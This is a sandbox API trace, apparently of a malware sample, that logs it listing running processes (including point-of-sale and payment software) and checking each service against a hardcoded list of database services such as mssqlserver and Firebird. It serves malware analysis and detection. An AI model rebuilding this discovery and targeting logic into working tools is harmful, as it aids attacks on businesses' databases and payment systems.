	[0077.908] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0077.909] lstrlenW (lpString="winscp.exe") returned 10
	[0077.909] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0077.910] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0077.910] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0077.910] lstrlenW (lpString="active-charge.exe") returned 17
	[0077.910] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0077.911] lstrlenW (lpString="accupos.exe") returned 11
	[0077.911] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0077.912] lstrlenW (lpString="afr38.exe") returned 9
	[0077.912] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0077.913] lstrlenW (lpString="aldelo.exe") returned 10
	[0077.913] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0077.913] lstrlenW (lpString="ccv_server.exe") returned 14
	[0077.913] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0077.914] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0077.914] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0077.915] lstrlenW (lpString="creditservice.exe") returned 17
	[0077.915] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0077.916] lstrlenW (lpString="edcsvr.exe") returned 10
	[0077.916] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0077.916] lstrlenW (lpString="fpos.exe") returned 8
	[0077.916] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0077.917] lstrlenW (lpString="isspos.exe") returned 10
	[0077.917] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0078.409] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0078.409] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0078.410] lstrlenW (lpString="omnipos.exe") returned 11
	[0078.410] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0078.411] lstrlenW (lpString="spcwin.exe") returned 10
	[0078.411] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0078.411] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0078.411] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0078.412] lstrlenW (lpString="utg2.exe") returned 8
	[0078.412] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="machinesaladafterwards.exe")) returned 1
	[0078.413] lstrlenW (lpString="machinesaladafterwards.exe") returned 26
	[0078.413] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiers-ag.exe")) returned 1
	[0078.413] lstrlenW (lpString="cashiers-ag.exe") returned 15
	[0078.414] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x101c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospective-ok-douglas.exe")) returned 1
	[0078.414] lstrlenW (lpString="prospective-ok-douglas.exe") returned 26
	[0078.414] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="limitedcatchexemption.exe")) returned 1
	[0078.415] lstrlenW (lpString="limitedcatchexemption.exe") returned 25
	[0078.415] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1068, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0078.416] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0078.416] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0078.416] lstrlenW (lpString="taskhostw.exe") returned 13
	[0078.416] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0078.417] lstrlenW (lpString="taskhostw.exe") returned 13
	[0078.417] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0078.417] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0078.418] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0078.418] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0078.418] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0078.419] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0078.419] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0078.419] lstrlenW (lpString="UsoClient.exe") returned 13
	[0078.419] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x117c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0078.420] lstrlenW (lpString="conhost.exe") returned 11
	[0078.420] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x115c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0078.421] lstrlenW (lpString="conhost.exe") returned 11
	[0078.421] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0078.421] lstrlenW (lpString="svchost.exe") returned 11
	[0078.421] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0078.422] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0078.422] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0078.423] lstrlenW (lpString="svchost.exe") returned 11
	[0078.423] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x13a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0078.423] lstrlenW (lpString="cmd.exe") returned 7
	[0078.423] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x10cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0078.424] lstrlenW (lpString="conhost.exe") returned 11
	[0078.424] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0078.425] lstrlenW (lpString="dllhost.exe") returned 11
	[0078.425] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0078.425] CloseHandle (hObject=0x37c) returned 1
	[0078.425] Sleep (dwMilliseconds=0x1f4) 
	[0079.157] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x53efb8
	[0079.157] EnumServicesStatusExW (in: hSCManager=0x53efb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0079.157] GetLastError () returned 0xea
	[0079.157] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1ce8) returned 0x3eb39d0
	[0079.159] EnumServicesStatusExW (in: hSCManager=0x53efb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3eb39d0, cbBufSize=0x1ce8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3eb39d0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0079.160] CloseServiceHandle (hSCObject=0x53efb8) returned 1
	[0079.160] lstrlenW (lpString="Appinfo") returned 7
	[0079.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0079.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0079.160] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0079.160] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0079.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0079.160] lstrlenW (lpString="AppXSvc") returned 7
	[0079.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0079.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0079.160] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0079.160] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0079.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0079.160] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0079.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0079.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0079.160] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0079.160] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0079.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0079.160] lstrlenW (lpString="Audiosrv") returned 8
	[0079.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0079.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0079.161] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0079.161] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0079.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0079.161] lstrlenW (lpString="BFE") returned 3
	[0079.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0079.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0079.161] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0079.161] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0079.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0079.161] lstrlenW (lpString="BITS") returned 4
	[0079.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0079.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0079.161] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0079.161] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0079.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0079.161] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0079.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0079.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0079.161] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0079.161] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0079.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0079.161] lstrlenW (lpString="CDPSvc") returned 6
	[0079.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0079.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0079.161] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0079.161] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0079.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0079.161] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0079.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0079.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0079.161] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0079.162] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0079.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0079.162] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0079.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0079.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0079.162] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0079.162] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0079.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0079.162] lstrlenW (lpString="CryptSvc") returned 8
	[0079.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0079.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0079.162] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0079.162] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0079.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0079.162] lstrlenW (lpString="DcomLaunch") returned 10
	[0079.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0079.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0079.162] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0079.162] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0079.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0079.162] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0079.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0079.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0079.162] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0079.162] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0079.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0079.162] lstrlenW (lpString="Dhcp") returned 4
	[0079.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0079.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0079.162] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0079.162] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0079.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0079.162] lstrlenW (lpString="Dnscache") returned 8
	[0079.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0079.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0079.163] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0079.163] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0079.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0079.163] lstrlenW (lpString="DoSvc") returned 5
	[0079.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0079.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0079.163] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0079.163] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0079.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0079.163] lstrlenW (lpString="DPS") returned 3
	[0079.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0079.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0079.163] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0079.163] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0079.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0079.163] lstrlenW (lpString="DusmSvc") returned 7
	[0079.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0079.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0079.163] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0079.163] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0079.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0079.163] lstrlenW (lpString="EventLog") returned 8
	[0079.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0079.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0079.163] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0079.163] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0079.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0079.163] lstrlenW (lpString="EventSystem") returned 11
	[0079.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0079.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0079.163] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0079.163] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0079.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0079.164] lstrlenW (lpString="FontCache") returned 9
	[0079.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0079.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0079.164] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0079.164] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0079.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0079.164] lstrlenW (lpString="gpsvc") returned 5
	[0079.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0079.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0079.164] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0079.164] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0079.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0079.164] lstrlenW (lpString="iphlpsvc") returned 8
	[0079.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0079.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0079.164] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0079.164] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
